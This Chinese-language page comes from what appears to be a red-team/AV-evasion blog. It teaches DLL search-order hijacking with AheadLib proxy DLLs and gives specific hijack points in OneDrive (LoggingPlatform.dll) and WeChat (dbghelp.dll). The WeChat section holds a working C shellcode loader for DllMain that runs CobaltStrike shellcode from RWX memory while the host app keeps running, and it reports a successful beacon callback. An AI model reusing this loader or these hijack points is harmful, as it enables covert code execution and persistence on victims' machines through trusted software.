Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 前言
  • 劫持Dll的原理
  • 即时调用函数和直接转发函数
  • 使用AheadLib
  • 即时调用函数
  • 直接转发函数
  • Dll劫持挖掘
  • 挖掘思路
  • 所需工具
  • OneDrive挖掘
  • Wechat挖掘
  • 解决DLL死锁问题
  • 已知的Dll劫持
  1. OPSEC(免杀)

DLL劫持技术(白+黑)

前言

劫持Dll的原理

劫持DLL(又称为DLL劫持、DLL搜索顺序劫持或二进制植入)是一种攻击技术,利用Windows操作系统在加载DLL(动态链接库)时的搜索顺序漏洞,使得恶意DLL被误加载到受害进程中。这种攻击方法可以让攻击者在受害进程的上下文中执行任意代码。

当一个应用程序需要加载DLL时,Windows系统会按照特定的顺序搜索DLL。搜索顺序通常如下:

  1. 应用程序的目录。

  2. 系统目录(如System32)。

  3. 16位系统目录。

  4. Windows目录。

  5. 当前工作目录。

  6. 环境变量PATH中列出的目录。

劫持DLL的攻击原理是在DLL搜索顺序的较高优先级位置放置一个恶意DLL,这个恶意DLL具有与目标DLL相同的文件名。当应用程序尝试加载目标DLL时,Windows首先找到并加载恶意DLL,从而在受害进程中执行恶意代码

即时调用函数和直接转发函数

在编写DLL(动态链接库)时,有两种方法可以实现函数的导出:直接调用函数和直接转发函数。

  • 直接调用函数:这是常见的导出函数方法。在这种情况下,DLL中包含了函数的完整实现。当其他模块(例如应用程序或其他DLL)需要使用这个函数时,它们会通过导入表(Import Table)将函数地址解析到内存中,并直接调用这个地址上的函数。这种方式需要为每个导出的函数编写实际的实现代码。

  • 直接转发函数:这种方法允许DLL将函数调用直接转发给另一个DLL中的函数,而不需要在当前DLL中实现任何功能。这可以通过链接器命令/EXPORT实现,它告诉链接器将一个函数导出到当前DLL,并将实际调用转发到另一个DLL中指定的函数。这种方法可以节省开发时间和内存资源,因为在当前DLL中不需要为每个导出的函数编写实际的实现代码。

下面是一个直接转发函数的示例:

#pragma comment(linker, "/EXPORT:RealMsg=TargetDLL.FunctionName")

这行代码表示,当其他模块调用RealMsg函数时,实际上会直接转发到TargetDLL.dll中的FunctionName函数。注意,这里不需要为RealMsg编写任何实现代码。

总之,在编写DLL时,可以选择直接调用函数或直接转发函数。直接调用函数需要编写实际的实现代码,而直接转发函数可以将调用重定向到另一个DLL中的函数,从而减少代码重复和内存占用

使用AheadLib

即时调用函数

本次实例演示劫持系统的winspool.drv,打开AheadLib软件,选择即使调用函数,可以自动生成指定系统dll的C语言代码,后面可以在此代码自行添加要执行的功能

将生成的cpp代码和obj文件复制到自己创建好的DLL项目,需将项目属性设置字符集为多字节字符集

将项目设置为Release版本

在Dll入口函数处可以编写自己的代码,随后生成dll放到目标程序所在目录,并重命名为winspool.drv

​

直接转发函数

MyDll项目(原先的dll)

以下是MyDll项目的源码, 将生成的MyDll.dll放到test项目所在目录

//DllDemo.cpp

#include "pch.h"
#include "DllDemo.h"


void RealMsg()
{	
	MessageBox(NULL, "真正的消息框", "窗口标题", NULL);
}
//DllDemo.h
#include <Windows.h>

#ifdef ADD_EXPORTS //判断是否为导出DLL函数
#define ADD_API __declspec(dllexport) //若是则定义ADD_API为__declspec(dllexport)
#else
#define ADD_API __declspec(dllimport)  //否则定义ADD_API为__declspec(dllimport)
#endif


extern "C" ADD_API void RealMsg();  //真正的导出函数

test项目(加载dll)

如下是test项目的源码,用于加载MyDll.dll, 加载成功后程序会弹框, 弹框内容为"真正的消息框", 即原先MyDll.dll要实现的功能

#include <iostream>
#include <string>
#include <Windows.h>

typedef void(*p_RealMsg)();

int main(int argc, char *argv[]) {
	HMODULE hModule = LoadLibrary("MyDll.dll");
	p_RealMsg RealMsg = (p_RealMsg)GetProcAddress(hModule, "RealMsg");
	RealMsg();
}

AheadLib项目

打开AheadLib软件, 选择直接转发函数,然后将此代码复制到新建的AheadLib项目

AheadLib项目源码如下所示,此处只需注意#pragma comment(linker, "/EXPORT:RealMsg=Hacker.FakeMsg,@1"),这行代码意味着其他模块在使用这个DLL时将使用RealMsg作为函数名,而实际调用的是Hacker.FakeMsg函数, 即调用的是Hacker.dll的FakeMsg函数

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:RealMsg=Hacker.FakeMsg,@1")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

将AheadLib项目生成的dll重命名为MyDll.dll并放到test项目所在目录, 这里先将原先的MyDll.dll重命名为MyDll_backup.dll

Hacker项目

新建一个Hacker项目,源码如下所示, 用来生成一个dll以此实现我们自定义的函数, 随后将生成的Hacker.dll放到test目录

//DllDemo.h

#ifdef ADD_EXPORTS //判断是否为导出DLL函数
#define ADD_API __declspec(dllexport) //若是则定义ADD_API为__declspec(dllexport)
#else
#define ADD_API __declspec(dllimport)  //否则定义ADD_API为__declspec(dllimport)
#endif

extern "C" ADD_API void FakeMsg();  //伪造的导出函数
//DllDemo.cpp

#include "pch.h"
#include "DllDemo.h"

void FakeMsg() {
	MessageBox(NULL, "伪造的消息框", "窗口标题", NULL);
}

运行test项目的程序, 可以程序弹框的内容并不是"真正的消息框", 而是"伪造的消息框", 也就是说此程序调用的是Hacker.dll里的FakeMsg函数

​

Dll劫持挖掘

挖掘思路

  • 找出可能的劫持点:这通常包括列出一个程序可能会尝试加载但未能找到的所有DLL文件。在Windows系统中,这可以通过诸如Process Monitor这样的工具完成。你可以通过监视一个特定的程序,然后查看"NAME NOT FOUND"或"PATH NOT FOUND"这样的事件,来找出可能的劫持点。这种方法也可以被用来找出可能的DLL搜索路径。

  • 创建并安装恶意DLL:一旦你找到了一个可能的劫持点,下一步就是创建一个恶意的DLL,然后将其安装到系统中,以替代原始的DLL。这个DLL通常会包含恶意代码,例如用于窃取信息或者控制系统的代码。你可以使用像AheadLib这样的工具来生成一个与原始DLL有相同导出函数的代理DLL,然后在这个代理DLL中插入你自己的代码。

  • 触发和测试DLL劫持:最后,你需要触发程序来加载你的恶意DLL,以此来测试DLL劫持是否成功。你可以通过启动目标程序或者触发目标程序的某个特定功能来实现这一点。你应该仔细监视程序的行为,以验证恶意代码是否被成功执行

所需工具

  • ProcessMonitor:Process Monitor是Sysinternals套件的一部分,由Microsoft提供。它可以监控和显示操作系统中关于文件系统、注册表、进程、线程和DLL活动的详细实时信息。在DLL劫持的场景中,Process Monitor可以被用来追踪哪些程序正在尝试加载哪些DLL

  • Aheadlib:AheadLib是一个实用的开发工具,主要用于生成代理DLL。在DLL劫持的场景中,AheadLib可以被用来模拟DLL劫持的攻击。例如,一个白帽黑客或者一个安全研究者可以使用AheadLib生成一个代理DLL,然后将这个代理DLL放在一个易受攻击的位置,以此来模拟并研究DLL劫持的行为和影响

OneDrive挖掘

OneDrive是微软公司开发的一款在线存储服务。它允许用户将文件保存到云中,并从任何设备——包括Windows和Mac计算机,以及iOS和Android设备——上访问这些文件,基本每台Windows系统都默认安装了OneDrive

打开ProcessMonitor,filter设置如下图所示,例如此处将path的值设置为contains .dll,表示只捕获dl文件的路径

此处就以C:\Users\hasee\AppData\Local\Microsoft\OneDrive\23.127.0618.0001_1\LoggingPlatform.dll这个dll为例

打开VisualStudio开发者工具命令行,执行以下命令查看dll文件的系统架构,此处LoggingPlatform.dll的架构为X64

dumpbin /headers {要劫持的dll文件路径}

​

将LoggingPlatform.dll拖入Aheadlib中,选择直接转发函数,原始DLL的值默认是其文件名后面加Org,即LoggingPlatform.dll,点击生成后会在dll的所在目录生成一个cpp文件

此cpp文件其实是一个动态链接库项目,在DllMain函数处添加Messagebox函数,然后生成Dll

将生成的dll重名命为LoggingPlatform.dll(原先的Dll名), 并将其放入要劫持dll的所在目录, 再将原先dll重命名为LoggingPlatformOrg.dll

运行OneDrive.exe后出现弹框,且不影响其正常功能的使用

Wechat挖掘

Process Monitor Filter针对Wechat的Filter如下图所示,此处需将Path设置为Wechat的所在目录,表示挖掘Wechat所在目录的dll

此处我选择dbghelp.dll

转到dbghelp.dll所在目录,可以发现这个Dll是X86架构的,因此后续编写动态链接库项目时需设置为X86平台的

后续的操作和之前的一样, 有一点要注意的是, WaitForSingleObject函数的第二个参数需设置为0, 这样子线程与主线程不会相互影响, 简单来说,就是wechat运行时也能够正常执行shellcode

void loadshellcode() {
	unsigned char buf[] = ""  //填写CobaltStrike生成的shellcode
	
	//申请一块可读可写可执行的内存
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	memcpy(pMemory, buf, sizeof(buf));

	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	WaitForSingleObject(hThread, 0);
	
	//释放内存
	VirtualFree(pMemory, 0x1000, MEM_COMMIT);
	CloseHandle(hThread);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{	
		loadshellcode();
		DisableThreadLibraryCalls(hModule);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

运行Wechat后,CS正常上线

解决DLL死锁问题

如果遇到shellcode无法上线的问题,可以使用该github项目:https://github.com/Neo-Maoku/DllMainHijacking

​

已知的Dll劫持

可以通过此网站来查看已挖掘到的Dll:https://hijacklibs.net/

此处以rcdll.dll为例,rc.exe运行时会加载rcdll.dll,在此网站中会给出其所在路径

rc.exe是Microsoft的Resource Compiler,用于将资源文件 (.rc) 编译成二进制资源文件 (.res),这些文件通常会被链接到Windows程序中

​

​

上一页Certutil绕过技巧下一页PEB伪装

最后更新于7个月前

image-20220822154018546
image-20220822154514270
image-20230629161730646
image-20230628171013936
image-20230629155631367
image-20230715215408646